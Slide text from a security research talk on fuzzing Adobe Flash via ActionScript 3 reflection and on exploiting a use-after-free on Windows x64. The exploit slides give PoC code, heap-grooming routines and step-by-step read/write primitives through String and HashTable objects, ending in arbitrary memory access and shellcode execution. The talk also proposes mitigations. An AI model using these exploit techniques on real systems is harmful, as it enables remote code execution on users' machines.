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Who are we

• Researchers from Palo Alto Networks.

• Left and right strokes (左右互博术)
• There is a kung fu legend named Botong Zhou 

who can use one hand to attack/defense the 
other hand in several famous martial arts 
written by Louis Cha Leung-yung.

• right hand: exploit, vulnerability discovery, 
mitigation bypass, etc.

• left hand: anti-exploit, vulnerability 
detection, mitigation, etc.



Background

• Anti-UAF mitigations (Isolate heap and deferred free/memory 
protector) are making UAF vulnerabilities dying (unexploitable).

[1] Exploit Adobe Flash Under the Latest Mitigation – Yuki Chen, HITCON 2016
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Reflection in ECMAScript



Reflection in ActionScript 2

In general, ASNative (i, j) returns a function reference. 
It's like all the Flash functions are stored in a 
spreadsheet, and you can access them by rows and 
columns with ASNative. A convenient way to work with 
ASNative functions is to assign the result to a variable, 
and then execute the variable as a function:

t = ASnative(100, 4); // trace function
t("hi"); // output: hi

ASnative(as_x, as_y).apply(this_list[t], [params_list[p1]]);

ASnative(500,0) | method | [Sound].getPan
ASnative(500,1) | method | [Sound].getTransform
ASnative(500,2) | method | [Sound].getVolume
ASnative(500,3) | method | [Sound].setPan
ASnative(500,4) | method | [Sound].setTransform
ASnative(500,5) | method | [Sound].setVolume
ASnative(500,6) | method | [Sound].stop
ASnative(500,7) | method | [Sound].attachSound
ASnative(500,8) | method | [Sound].start
ASnative(600,0) | static | Selection.getBeginIndex
ASnative(600,1) | static | Selection.getEndIndex
ASnative(600,2) | static | Selection.getCaretIndex
ASnative(600,3) | static | Selection.getFocus
ASnative(600,4) | static | Selection.setFocus
ASnative(600,5) | static | Selection.setSelection



Reflection in ActionScript 3



trace(describeType(Sprite);

<type name="flash.display::Sprite" base="Class" isDynamic="true" isFinal="true" isStatic="true">
<extendsClass type="Class"/>
<extendsClass type="Object"/>
<accessor name="prototype" access="readonly" type="*" declaredBy="Class"/>
<factory type="flash.display::Sprite">

<extendsClass type="flash.display::DisplayObjectContainer"/>
...
<extendsClass type="Object"/>
<implementsInterface type="flash.display::IBitmapDrawable"/>
...
<method name="startDrag" declaredBy="flash.display::Sprite" returnType="void">

<parameter index="1" type="Boolean" optional="true"/>
<parameter index="2" type="flash.geom::Rectangle" optional="true"/>

</method>
<accessor name="accessibilityImplementation" access="readwrite" type="flash.accessibility::AccessibilityImplementation" 

declaredBy="flash.display::InteractiveObject">
<metadata name="Inspectable">

<arg key="environment" value="none"/>
</metadata>

</accessor>
...

</factory>
</type>



//reflection, get class definition, XML information
var desc:XML = describeType(Sprite);
var clazz:Class = Class(domain.getDefinition(Sprite));

//get methods list
var methods:XMLList = desc..method;

//get a random method
var methodInfo:XML = methods[random]
var methodName:String = methodInfo.@name;

//call method
ins[methodName].apply(ins, args);

//get properties list
var properties:XMLList = 
desc..accessor.(@access != "readonly") + 
desc..variable;

//get a random property
propertyInfo:XML = properties[random]
var propertyName:String = propertyInfo.@name;

//access property
trace(ins[propertyName]);

//instance a class through reflection
var ins = new clazz(args)

Reflection in ActionScript 3



Creating new instances of a class:

var type:Type = type.forName("path.to.MyClass");
var instance:Object = type.constructor.newInstance(param1, param2);
// or type.constructor.newInstanceWithArray([param1, param2]);

You may also call methods in a similar manner:

var type:Type = type.forName("path.to.MyClass");
var myInstanceMethod:Method= type.getInstanceMethod("myInstanceMethod");
myInstanceMethod.invoke(myClassInstance, param1, param2);
// or myInstanceMethod.invokeWithArray(myClassInstance, [param1, param2]);

If you want to get or set the value of a given object property, you will use the 
following kind of code:

var type:Type = type.forName("path.to.MyClass");
var myInstanceField:Field= type.getInstanceField("myInstanceField");
var value:* = myInstanceField.getValue(myClassInstance);
myInstanceField.setValue(myClassInstance, "newValue");



How to make a self-evolving testing case

1. Choose classes 
randomly

2. Instantiate them
3. Set fields randomly

4. Call methods 
randomly

5. Loop …

Prototype



How to make a self-evolving testing case

velociraptorConstuctor

velociraptorFields

velociraptorMethods

Template X

velociraptorGlobal

velociraptorClasses

GenerateValidParams

velociraptorMain

LoopBody in 
velociraptorCore

GenerateRandom

velociraptorReflect

Complementation



velociraptorClasses



velociraptorClasses
if (g_topLevelClasses_flag)

allClasses = allClasses.concat(toplevel_classes); //29
if (g_nativeClasses_flag)

allClasses = allClasses.concat(native_classes); //699
if (g_cs6Classes_flag)

allClasses = allClasses.concat(cs6_classes); //157
if (g_flexMxClasses_flag)

allClasses = allClasses.concat(flex_mx_classes); //1022
if (g_flexSparkClasses_flag)

allClasses = allClasses.concat(flex_spark_classes); //573
if (g_tvsdkMediacoreClasses_flag)

allClasses = allClasses.concat(tvsdk_mediacore_classes); //134
if (g_osmfClasses_flag)

allClasses = allClasses.concat(osmf_classes); //278
Trace(allClasses.length); //2892

public static var tvsdk_mediacore_classes:Array = [
"com.adobe.tvsdk.mediacore::ABRControlParameters",
"com.adobe.tvsdk.mediacore::AdPolicySelectorType",
"com.adobe.tvsdk.mediacore::BillingMetricsConfiguration",
"com.adobe.tvsdk.mediacore::BufferControlParameters",
"com.adobe.tvsdk.mediacore::ContentFactory",
"com.adobe.tvsdk.mediacore::CustomAdHandler",
"com.adobe.tvsdk.mediacore::CustomAdHandlerClient",
"com.adobe.tvsdk.mediacore::CustomRangeType",
"com.adobe.tvsdk.mediacore::DRMAcquireLicenseListener",
"com.adobe.tvsdk.mediacore::DRMAcquireLicenseSettings",
"com.adobe.tvsdk.mediacore::DRMAuthenticateListener",
"com.adobe.tvsdk.mediacore::DRMAuthenticationMethod",
"com.adobe.tvsdk.mediacore::DRMErrorListener",
"com.adobe.tvsdk.mediacore::DRMLicense",



velociraptorGlobal

public static var _setTypeArray:Array = new Array(); //store the class types we choose

//_instanceDictionary = {typeName: instanceValue};
public static var _instanceDictionary:Dictionary = new Dictionary(); 

//_methodRtnDictionary = {returnTypeName: methodReturnValue}
public static var _methodRtnDictionary:Dictionary = new Dictionary();

//_fieldRtnDictionary = {returnTypeName: fieldReturnValue}
public static var _fieldRtnDictionary:Dictionary = new Dictionary();

//merge _instance, _methodRtn, _fieldRtn dictionary
public static var _mergedAllGlobalValue:Dictionary = new Dictionary();

public static var _eventFunction:Array = new Array();



velociraptorConstructor

public static function classNewInstance(classType:Type, TypeConfusionFlag:int, integerFlag:Boolean) 
{

…
var ConstantsArray:Array = velociraptorUtils.getConstants(classType, "String");
genValidConstructParam(Parameter(param).type, ConstantsArray, TypeConfusionFlag, integerFlag, … );
var ins:* = Constructor(classType.constructor).newInstanceWithArray(parameterArray);

_instanceDictionary[classType.name].push( ins );
_mergedAllGlobalValue[classType.name].push( ins );
addClassToSetTypeArray(classType.name);

}



velociraptorFields
public static function getClassFields(classType:Type, StaticOnlyFlag:Boolean)
{

getField = Field(getStaticFieldsArray[getFieldsIdx]);
var fldRtnValue:* = getField.getValue(null);
_fieldRtnDictionary[getField.type.name].push(fldRtnValue);
_mergedAllGlobalValue[getField.type.name].push(fldRtnValue);
addClassToSetTypeArray(getField.type.name);

}

public static function setClassField(classType:Type, TypeConfusionFlag:int, integerFlag:Boolean)
{

var ConstantsArray:Array = velociraptorUtils.getConstants(classType, "String");
setField = Field(setFieldsArray[setFieldsIdx]);
genValidFieldValue(setField, valueArray, ConstantsArray, TypeConfusionFlag, integerFlag, …);
setField.setValue(ins, value);

}



velociraptorMethods

public static function setClassMethod(instance:*, insSelector:int, instance2:*, ins2Selector:int, classType:Type, 
classType2:Type, setMethod:Method, setMethod2:Method, TypeConfusionFlag:int, integerFlag:Boolean)
{

var ConstantsArray:Array = velociraptorUtils.getConstants(classType, "String");
genValidMethodParam(setMethod, Parameter(param), ConstantsArray, TypeConfusionFlag, integerFlag, …); 
mtdRtnValue = setMethod.invokeWithArray(instance, parameterArray);

_methodRtnDictionary[setMethod.returnType.name].push( mtdRtnValue );
_mergedAllGlobalValue[setMethod.returnType.name].push(mtdRtnValue);
addClassToSetTypeArray(setMethod.returnType.name);

}



generateValidParams: constants

function cve_2016_7857():void
{

var _loc1_:AVSegmentedSource = new AVSegmentedSource();
var _loc2_:AVStream = new AVStream(_loc1_);
_loc2_.dispose();
_loc1_.loadWithBackgroundManifest("9090","HLS",0,"test2");

}



generateValidParams: constants
SelfConstantsArray = classType.getFields(

function(f:Field):Boolean {
return f.isConstant() && f.type.name == constantType; // constantType = "String";
});

147 packages



generateValidParams: mutations

• If type_confusion_flag on, return random value without type match

• If not, randomly choose the value with type match
• Check _specificDictionary: specific parameter value for a class constructor, 

field, method

• Check _BasicTypeDictionary: Function, Object, String(including constant), 
Number, etc

• Check _mergedAllGlobalValue: _instanceDictionary, _methodRtnDictionary, 
_fieldRtnDictionary

• Instance a new class 

Generate as complicated and meaningful code as possible

var t:Metadata = PSDK.pSDK.createMetadata();
PSDK.pSDK.createContentResolver(1).resolve(PSDK.pSDK.createOpportunity("te
st",new Placement(),t.clone().getMetadata("test"),t));



templates
public function Go(stage:Stage) : *
{

velociraptorInit.setClasses(null, 5, allClasses);
velociraptorConstructor.initClasses(0, false);

addClassToSetTypeArray("flash.display::Stage");
addItemToGlobalValueDic(Stage, stage);

velociraptorTemplate_1.prototype.valueOf = valueOf_fuzz;

velociraptorFields.setClassesFields(0, false);
velociraptorFields.getClassesFields(false); //only static:false
velociraptorMethods.setClassesMethods(0, false);

velociraptorFields.setClassesFields(0, false);
velociraptorFields.getClassesFields(false); //only static:false
velociraptorMethods.setClassesMethods(0, false);
return;

}

static function valueOf_fuzz():*
{

g_CallBackFunctionCalledCnt++;
if (g_CallBackFunctionCalledCnt > 10) 
{

velociraptorUtils.ForceGC();
return 4919;

}
velociraptorFields.setClassesFields(0, false);
velociraptorMethods.setClassesMethods(0, false);
velociraptorFields.getClassesFields(false);
velociraptorUtils.ForceGC();
return 4919;

};

CVE-2015-0349, CVE-2015-5123, CVE-2015-5122
CVE-2016-6981, CVE-2016-7857 …



Sanitization: Unmanaged heap redirection

Unmanaged heap

Managed heap

GCAlloc::Alloc

FixedMalloc::OutOfLineAlloc

FixedAlloc:Free

FixedAlloc::Alloc

GCAlloc::Free

FixedMalloc::OutOfLineFree

HeapAlloc

HeapFree

System heap with page heap

GCAlloc::LargeAlloc GCAlloc::LargeFree

…

…



Reproduce: hook trace function to write logs

void FlashTraceCheck(unsigned int argc, int argv)
{

//1 means there is only one argument of trace function
if (argc == 1) 
{

DWORD atom = *(DWORD *)(argv+4);
//only deal with the situation that atom is string
if ((atom & 7) == 2) //2 represent string. -- trace(str:String)
{

DWORD strObj = atom & 0xFFFFFFF8;
flag = *((DWORD *)strObj + 5);
length = *((DWORD *)strObj + 4);

if (!((flag >> 2) & 1))
{

pStringBuf = (char *)*((DWORD *)strObj + 2);
WriteTraceFile(pStringBuf, strlen(pStringBuf));

AS3:
velociraptorLog.TraceToFile("the seed is [" + seed + "]");

Velociraptor.log:
[+] the seed is [2059582721]



Reproduce: random generator

• Mersenne twister

//one seed, a group fixed random numbers
public static function testRandom():void {

var seed = int(now.time) ^ int(g_vhash); //g_vhash = MAC_Address
iasrand(seed);
//generate 100 random numbers (<100)
for(var i:int = 0; i < 100; i++) //asrand();

velociraptorLog.Log(asrand()%100);
}

1. Log the seed.
2. When crash happens, use the seed to generate all of the same random numbers and reproduce the crash 

sample



Case studies 0: CVE-2016-7860/7861

• Find it by turning on type_confusion_flag in generateValidParams

public function Go(stage:Stage):void
{

var md:* = new Metadata();
//or var md:* = new AdvertisingMetadata();

//public function setObject (key:String, obj:Object) 
md.setObject("", 0x1818180); 
//crash at 0x0c0c0c00 = 0x1818180 << 3
return;

}



Case studies 1: upgraded DoABC opcode fuzzing

• Old DoABC opcode fuzzing
• Popular in Pre-Hacking-Team era

• Download massive flash samples from internet

• Modify single byte or multiple bytes randomly in DoABC2 Tag

• Heavily rely on what samples you download

• Upgraded DoABC opcode fuzzing
• Log every AS3 code by hooking trace function

• Compile a huge flash with over 100,000 lines AS3 code

• Modify single byte or multiple bytes randomly in DoABC2 Tag



Case studies 1: CVE-2017-2982



Case studies 1: CVE-2017-2982



Case studies 1: CVE-2017-2982 Crash Info
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An Unreported Use After Free Vulnerability
public static var _g_dic;
public static var spary_arr = [];
public function poc() {

_g_dic = new Dictionary();
_g_dic["object"] = new Array();
var s = new String();
var mpie = new MediaPlayerItemEvent(8, null, null);
var md0 = new Metadata();
md0.setObject(s, mpie);
_g_dic["object"].push(md0.getObject(s));
//_g_arr.push(md0.getObject(s));
var getargs:Array = new Array();
getargs.push(s);
_g_dic["object"].push(invokeMethod("getObject", md0, getargs));
//Free and Reclaim
for (var j = 0; j < 0x1000/2; j++)

spary_arr[j] = "ga1ois"+j;
//USE
_g_dic["object"][0].type;

}



Root Cause Analysis
public static var _g_dic;
public static var spary_arr = [];
public function poc() {

_g_dic = new Dictionary();
_g_dic["object"] = new Array();
var s = new String();
var mpie = new MediaPlayerItemEvent(8, null, null);
var md0 = new Metadata();
md0.setObject(s, mpie);
_g_dic["object"].push(md0.getObject(s));
//_g_arr.push(md0.getObject(s));
var getargs:Array = new Array();
getargs.push(s);
_g_dic["object"].push(invokeMethod("getObject", md0, getargs));
//Free and Reclaim
for (var j = 0; j < 0x1000/2; j++)

spary_arr[j] = "ga1ois"+j;
//USE
_g_dic["object"][0].type;

}

ScriptObject
029f81f0  10df8580 80006501 03f713c0 028e7fd0
029f8200  0287cd70 00000000

MediaPlayerItemEvent
0287cd70  10e2df58 10e2df48 10e2df38 00000008
0287cd80  00000000 00000000 947518b1 4153ef88
0287cd90  00000001 00000000 00000000 00000000

First call getObject: v26 = sub_10367E23(v55, &v119, 
v54);
1. new ScriptObject (another one) -- vulnerable
029f8ce8 10df8580 8000e701 03f713c0 028e7fd0
029f8cf8  0287cd70 00000000

2. call setdeaditem to set ScriptObject[029f8ce8] into 
MediaPlayerItemEvent[0287cd70]

MediaPlayerItemEvent
0287cd70 10e2df58 10e2df48 10e2df38 00000008
0287cd80  00000000 00000000 947518b1 4153ef88
0287cd90  00000003 029f8ce8 00000000 00000000



Root Cause Analysis
public static var _g_dic;
public static var spary_arr = [];
public function poc() {

_g_dic = new Dictionary();
_g_dic["object"] = new Array();
var s = new String();
var mpie = new MediaPlayerItemEvent(8, null, null);
var md0 = new Metadata();
md0.setObject(s, mpie);
_g_dic["object"].push(md0.getObject(s));
//_g_arr.push(md0.getObject(s));
var getargs:Array = new Array();
getargs.push(s);
_g_dic["object"].push(invokeMethod("getObject", md0, getargs));
//Free and Reclaim
for (var j = 0; j < 0x1000/2; j++)

spary_arr[j] = "ga1ois"+j;
//USE
_g_dic["object"][0].type;

}

1. second getObject, call 1035971e (get cache directly)
.text:1035971E  mov eax, [ecx+1Ch]; ecx = 0287cd78
.text:10359721  retn
should return object 029f8ce9, but return number 
029f8ce8

2. avmplus::AvmCore::atomWriteBarrier (in JIT)
Write ScriptObject into AtomAddress
029622e0  10e92f38 8000ed01 02a03f70 00000000
029622f0  028858c8 02962221 02a35040 02962310
02962300  029f8ce8 00000000 00000000 00000000

MediaPlayerItemEvent
0287cd70  10e2df58 10e2df48 10e2df38 00000008
0287cd80  00000000 00000000 947518b1 4153ef88
0287cd90  00000003 029f8ce8 00000000 00000000

ScriptObject
029f8ce8  10df8580 00000002 03f713c0 028e7fd0
029f8cf8  0287cd70 00000000



Root Cause Analysis
public static var _g_dic;
public static var spary_arr = [];
public function poc() {

_g_dic = new Dictionary();
_g_dic["object"] = new Array();
var s = new String();
var mpie = new MediaPlayerItemEvent(8, null, null);
var md0 = new Metadata();
md0.setObject(s, mpie);
_g_dic["object"].push(md0.getObject(s));
//_g_arr.push(md0.getObject(s));
var getargs:Array = new Array();
getargs.push(s);
_g_dic["object"].push(invokeMethod("getObject", md0, getargs));
//Free and Reclaim
for (var j = 0; j < 0x1000/2; j++)

spary_arr[j] = "ga1ois"+j;
//USE
_g_dic["object"][0].type;

}

MMgc::ZCT::Reap will scan gc_stack and call ReapObject
on AtomAddress [029622e0] and ScriptObject [029f81f0], 
because these two objects are on gc_stack
Eventually ScriptObject refcount decreased twice to 0 and 
freed.

AtomAddress
029622e0 10e92f38 8000ed01 02a03f70 00000000
029622f0  028858c8 02962221 02a35040 02962310
02962300  029f8ce8 00000000 00000000 00000000

ScriptObject before
029f8ce8 10df8580 00000002 03f713c0 028e7fd0
029f8cf8 0287cd70 00000000

ScriptObject after, occupied by String
029f8ce8  10e938c8 80002502 02ef0970 00000000
029f8cf8  0000003b 00007400 

1:025> da 02ef0970
02ef0970  “ga1ois573"

gc_stack
...
029622e0
...
029f8ce8
...

Reclaim the memory with String

Trigger GC



Patch Diff

Is the patch still vulnerable?

after patch before patch



Exploit on Windows x86

• Spray ByteArray to heap layout

• Convert MediaPlayerItemEvent ScriptObject UAF to String UAF (type 
confusion String with Dictionary) [2]

• Use String UAF to get read primitive: leak the address and content of 
ByteArray, including ByteArray cookie

• Trigger MediaPlayerItemEvent ScriptObject UAF for the second time and 
reclaim the memory with fine-constructed String

• Use MediaPlayerItemEvent.type to get write primitive: get a huge size 
ByteArray by writing ByteArray length and length cookie.

• Get the capability of read and write the whole process memory, bypass 
mitigations (DEP, ASLR, CFG, etc) and execute the shellcode.

[2] Use-After-Use-After-Free: Exploit UAF by Generating Your Own – Guanxin Wen, blackhat EU 2016



Exploit difficulties on Windows x64

• String memory structure is different with x86, it is difficult for the 
String object to get a stable read primitive 

• Spray on Windows 10 Creators x64 is hard, it is difficult for an even 4g 
size String object to leak the address and content of ByteArray

String before type confusion
0000038d`4a987fd8 00007ffd`a8334ad8 00000000`80002301 -> vtable and refcnt
0000038d`4a987fe8 000005f6`172f13d0 00000000`00000000 -> string buffer1 and buffer2
0000038d`4a987ff8 00007a00`0000003b -> 0000003b is length, 00007a00 is type for ansii, unicode, buffer1 or buffer2

String after type confusion with ScriptObject
0000038d`4a987fd8  00007ffd`eeb94ed0 00000000`8001f301
0000038d`4a987fe8  0000038d`b69d5c80 0000038d`b6b5d910
0000038d`4a987ff8  0000016b`cfda8e80 -> faked length cfda8e80 is big enough, but faked type 0000016b is not controllable



Exploit on Windows x64: HashTable

var ba = new ByteArray();
var ht = {0x888880:ba, 0x888881:0x333331, 0x888882:0x333332, 0x888883:0x333333, 
0x888884:0x333334, 0x888885:ba, 0x888886:0x333336, 0x888887:0x333337, 0x888888:0x333338, 
0x888889:0x333339, 0x88888a:ba}

000005ea`b6f3ea88 00007ffdeec38598 0000000004444406 000005eab6ffbb31 000000000444440e 000000000199998e 
000005ea`b6f3eab0 0000000004444416 0000000001999996 000000000444441e 000000000199999e 0000000004444426
000005ea`b6f3ead8 00000000019999a6 000000000444442e 000005eab6ffbb31 0000000004444436 00000000019999b6
000005ea`b6f3eb00 000000000444443e 00000000019999be 0000000004444446 00000000019999c6 000000000444444e
000005ea`b6f3eb28 00000000019999ce 0000000004444456 000005eab6ffbb31 0000000000000000 0000000000000000
000005ea`b6f3eb50 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000
000005ea`b6f3eb78 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000

Key: 0000000004444406 >>3 = 00000000`00888880
Value: 000005eab6ffbb31 -> ByteArrayObject



Exploit on Windows x64: HashTable

• Perfect exploit-friendly object
• Elements are highly controllable
• Elements are changeable flexibly without memory structure change
• Not isolated (isolate heap isolate object and data [Array, ByteArray, Vector])
• Size is controllable

• String memory structure is different with x86, it is difficult for the String 
object to get a stable read primitive 

• We can get a stable read primitive with String and HashTable

• Spray on Windows 10 Creators x64 is hard, it is difficult for an even 4g size 
String object to leak the address and content of ByteArray

• HashTable can help us read any object without spray 



Exploit on Windows x64 
Step 1: Heap grooming

Heap header

String
…
String
String
String
String
slot
String
String
String
String
…
String

static function leaveSlot()
{

//0x64*0x28+0x60=0x1000
for (var j = 0; j < 0x64*0x100; j++)

arr_gc[j] = j.toString(16);
arr_gc[0x3200] = null;
forceGC();

}

0x60

A whole page
0x1000

0x28

Addr: 0000045a`7796f970 
vtable: 00007ffdeec34ad8 
refcnt: 0000000000000002 
strbuf1: 0000035f9c7da108 
strbuf2: 0000000000000000 
type&len: 0000080000000004

0:011> da 0000035f9c7da108 
0000035f`9c7da108  "31fd"



Exploit on Windows x64
Step 2: Convert ScriptObject UAF to String UAF

[2.1] Insert vulnerable 
ScriptObject into slot

//MediaPlayerItemEvent
_g_dic["object"][0]

//MediaPlayerItemEvent
_g_dic["object"][0]

Heap header

String
…
String
String
ScriptObject
String
String
…
String

[2.2] Trigger 
ScriptObject UAF

Heap header

String
…
String
String
slot
String
String
…
String

Heap header

String
…
String
String
String
String
String
…
String

//MediaPlayerItemEvent
_g_dic["object"][0]

[2.3] Reclaim 
memory with String

//String
Arr[x]

Heap header

String
…
String
String
slot
String
String
…
String

[2.4] Free ScriptObject
in AS3

//String
Arr[x]



Exploit on Windows x64
Step 3: Reclaim the memory with different size 
HashTable

Heap header

slot
…
slot
slot
slot
slot
slot
…
slot

[3.1] Free all Strings allocated in 
heap grooming

//String
Arr[x]

Heap header

HashTable
…
HashTable

HashTable

HashTable

…

[3.2] free the whole page and 
reclaim the memory with HashTable

//String
Arr[x]

A whole page
0x1000

0x28
0x118

//HashTable
arr_hashtable[k][j]



Exploit on Windows x64
Step 3: Reclaim the memory with different size 
HashTable

//String, 0x28
Arr[x]

2/7 success String_buffer String_type String_length

//HashTable, 0x118
arr_hashtable[k][j]

value 1 or 6
arr_hashtable[k][j][0x888880]

value 2 or 7
arr_hashtable[k][j][0x888881]

















Exploit on Windows x64
Step 3: Reclaim the memory with different size 
HashTable

• We used 9 hash and value pairs in HashTable which take 0x118 bytes 
in the memory. Why we choose 9 pairs and size 0x118?

• Can we improve 2/7 success rate?



Exploit on Windows x64
Step 4: Use String+HashTable for info-leak
4.1 Use String.length to check if reclaim HashTable is successful

for (var j = 0; j < 0x1000 / 2; j++)
{

if (arr[j].length == 0x0199998e || arr[j].length == 0x019999b6) //arr[j] is String
{

…
}

}



Exploit on Windows x64
Step 4: Use String+HashTable for info-leak
4.2 Leak the address of ByteArrayObject and m_array

Public function readLow32(offset:int) {
low32 = (ByteArray_str.charCodeAt(3+offset-1) << 24);
low32 |= (ByteArray_str.charCodeAt(2+offset-1)<<16);
low32 |= (ByteArray_str.charCodeAt(1+offset-1)<<8);
low32 |= (ByteArray_str.charCodeAt(0+offset-1));
return low32;
}
Public function readHigh32(offset:int) {
high32 = (ByteArray_str.charCodeAt(5+offset-1)<<8);
high32 |= (ByteArray_str.charCodeAt(4+offset-1));
return high32;
}
ByteArray_m_array_addr_low = readLow32(0x88);
ByteArray_m_array_addr_high = readHigh32(0x88);

ByteArrayObject

HashTable



Exploit on Windows x64
Step 4: Use String+HashTable for info-leak
4.3 Leak the address of HashTable

//reset HashTable value with HashTable itself
arr_hashtable[k][j][0x888880] = arr_hashtable[k][j];
arr_hashtable[k][j][0x888885] = arr_hashtable[k][j];

//read
HashTable_addr_low = readLow32(0x20) - 1;
HashTable_addr_high = readHigh32(0x20) 

HashTable

HashTableObject
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Step 4: Use String+HashTable for info-leak
4.4 Leak the address of qName_localName and qName_uri

//desc.fname;
static var desc = describeType(MediaPlayerItemEvent);
static var qName:QName = new QName(desc.@uri.toString(), "type");
//reset HashTable value with qName
arr_hashtable[k][j][0x888880] = qName;
arr_hashtable[k][j][0x888885] = qName;
//read
qName_localName_addr_low = readLow32(0x20);
qName_localName_addr_high = readHigh32(0x20);
qName_uri_addr_low = readLow32(0x28);
qName_uri_addr_high = readLow32(0x28);

HashTable

QName



Exploit on Windows x64
Step 4: Use String+HashTable for info-leak
4.5 Leak the address of vector buffer as faked object

//reset HashTable value with vector
arr_hashtable[k][j][0x888880] = vector;
arr_hashtable[k][j][0x888885] = vector;

//read vector_buf
VecBuf_addr_low = readLow32(0x30);
VecBuf_addr_high = readHigh32(0x30);

HashTable

VectorObject
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Step 5: fake object in vector buffer

public static function fakeObjectInVecBuf(vectorAddrHigh, vectorAddrLow) {
//make the function path go to “write primitive”
vector[0xc8/4-1]=vectorAddrLow+0x20; vector[0xc8/4-1+1]=vectorAddrHigh;
vector[0x20/4-1]=vectorAddrLow+0x1000; vector[0x20/4-1+1]=vectorAddrHigh;
vector[0x1008/4-1]=vectorAddrLow+0x1010; vector[0x1008/4-1+1]=vectorAddrHigh;
vector[(0x1010+0x748)/4-1]=0x10000;
vector[0x1020/4-1]=vectorAddrLow+0x1030; vector[0x1020/4-1+1]=vectorAddrHigh;
vector[(0x1010+0x74c)/4-1]=0x01;
vector[(0x1010+0x770+0x28)/4-1]=vectorAddrLow+0x40; vector[(0x1010+0x770+0x28)/4-1+1]=vectorAddrHigh;
//prevent crash
vector[(0x1038)/4-1]=vectorAddrLow+0x60; vector[(0x1038)/4-1+1]=vectorAddrHigh;
vector[(0x1044)/4-1]=0x01;
vector[0x70/4-1]=qName_localName_addr_low; vector[0x70/4-1+1]=qName_localName_addr_high;
vector[0x78/4-1]=qName_uri_addr_low; vector[0x78/4-1+1]=qName_uri_addr_high;
vector[0x80/4-1]=0x06;

}



Exploit on Windows x64
Step 5: fake object in vector buffer

//set the address and value of write primitive
public static function constructWritePrimitiveBuf(address_low, address_high, value_low, value_high) 
{

//value
vector[(0x1010+0x770+8)/4-1] = value_low; 
vector[(0x1010+0x770+8)/4-1+1] = value_high;
//address
vector[(0x1010+0x770+0x18)/4-1] = address_low; 
vector[(0x1010+0x770+0x18)/4-1+1] = address_high;

}



Exploit on Windows x64
Step 6: Trigger UAF for the second time and 
reclaim with fine-constructed String
• Trigger MediaPlayerItemEvent ScriptObject UAF again

• Reclaim memory with String

StringObject

StringBuffer

Faked Object/
VectorBuf
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Step 7: Use MediaPlayerItemEvent.type to write 
HashTable_Value with ByteArray m_array address 
• Call _g_dic["object"][0].qName (MediaPlayerItemEvent.type) to get 

the ability of writing arbitrary value to arbitrary address.

MediaPlayerItemEvent.type

MMgc::GCWeakRef::get

sub_1809714A0



Exploit on Windows x64
Step 7-8: write HashTable_Value with ByteArray m_array
address and leak ByteArray cookie

//Write HashTable value with m_array of ByteArrayObject
constructWritePrimitiveBuf(HashTable_addr_low, 
HashTable_addr_high, ByteArray_m_array_addr_low, 
ByteArray_m_array_addr_high);
writePrimitive(ExpBufStr_addr);

//read, Leak ByteArrayObject cookie stored in m_array
ByteArray_m_array_cookie = readLow32(0x28);
ByteArray_m_array_cookie ^= 0x1000;

HashTable

m_array
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Step 9: write m_buffer with ByteArray m_array
address and set m_buffer cookie
//write m_buffer with m_array
initExpBuffer();
constructExpBuffer(ExpBufStr_addr_high, ExpBufStr_addr_low);
constructWritePrimitiveBuf(ByteArray_m_array_addr_low+0x10, ByteArray_m_array_addr_high, 
ByteArray_m_array_addr_low, ByteArray_m_array_addr_high);
try{_g_dic["object"][0][qName]; }catch (e:Error){}

//write m_buffer cookie
initExpBuffer();
constructExpBuffer(ExpBufStr_addr_high, ExpBufStr_addr_low);
var ByteArray_m_buffer_check:uint = ByteArray_m_array_addr_low ^ ByteArray_m_array_addr_high ^ 
ByteArray_m_array_cookie;
constructWritePrimitiveBuf(ByteArray_m_array_addr_low+0x20, ByteArray_m_array_addr_high, 0, 
ByteArray_m_buffer_check);
try{_g_dic["object"][0][qName]; }catch (e:Error){}
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Step 10: Get a god-mode ByteArray which can 
read and write anywhere in x64

Vtable of ByteArray m_array



Exploit on Windows x64
putting it all togother

• Step 1: Heap grooming.

• Step 2: Convert MediaPlayerItemEvent ScriptObject UAF to String UAF.

• Step 3: Preparation for read primitive: reclaim the memory with bigger size HashTable

• Step 4: Use String+HashTable to leak address of ByteArrayObject and m_array, HashTable, 
QName_localName and QName_uri, Vector.

• Step 5: Preparation for write primitive: fake object in vector buffer.

• Step 6: Trigger UAF for the second time and reclaim with fine-constructed String

• Step 7: Use String+MediaPlayerItemEvent.type to write HashTable_Value with ByteArray m_array
address.

• Step 8: Use String+HashTable to leak the content of m_array including ByteArray_m_array cookie.

• Step 9: Use String+MediaPlayerItemEvent.type to write m_buffer with ByteArray m_array address 
and set m_buffer cookie.

• Step 10: Get a god-mode ByteArray which can read and write anywhere in x64.

• Step 11: Bypass CFG by overwriting the return address leaked in function object.

• Step 12: Call LoadLibrary(“jscript”) in shellcode in the Edge/Flash demo.



Exploit on Windows x64
Why it is a general exploit technique?

• String + HashTable can generally provide a stable 
and powerful read primitive which can read any 
object in AS3.

Heap header

HashTable
…
HashTable

HashTable

HashTable

…

//String
Arr[x]

//HashTable
arr_hashtable[k][j]

• String + Object.attribute (MMgc::GCWeakRef::get) 
can generally provide a stable and powerful write 
primitive which can write any value to any address.

Heap header

String
…
String
String
String
…
String
...
String

//String
Spray_arr[j]

//Object.attribute
_g_dic["object"][0][qName]

Read Primitive
set any object as 
hashtable value

Write Primitive
fake object
in vecBuf in 

StringBuf
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Why it is a general exploit technique?
• NOT ISOLATED: HashTable is in partition 0 of GCAlloc with many other 

AS3 objects like ScriptObject, String, Dictionary, ByteArray, etc

• MASSAIVE OBJECTES: Most AS3 objects are in partition 0 of GCAlloc.

• REBIRTH: All UAFs in partition 0 of GCAlloc are possible to exploit 
successfully with this exploit technique.

HashTable

GCAlloc

Partitionsizeaddress



Demo

Tested on flash64_24_0_0_194.ocx in Edge Windows 10 x64 1803 Jun Patch (latest).
The exploit works from flash 19 to flash 27.0.0.183.



Summary

• Fuzzing
• how we implement an AS3 based fuzzing tool with random instantiations of 

new objects, random invocations of methods and random fields getter/setter 
using the implicit reflection in AS3.

• Exploit
• How HashTable+Object.Attribute+String break the anti-UAF mitigations and 

gernerally supply read/write primitive for UAF vulnerabilities.

• Mitigation and detection
• Isolate exploit-friendly HashTable

• Monitor abnormal ByteArray



Q & A

• Thanks


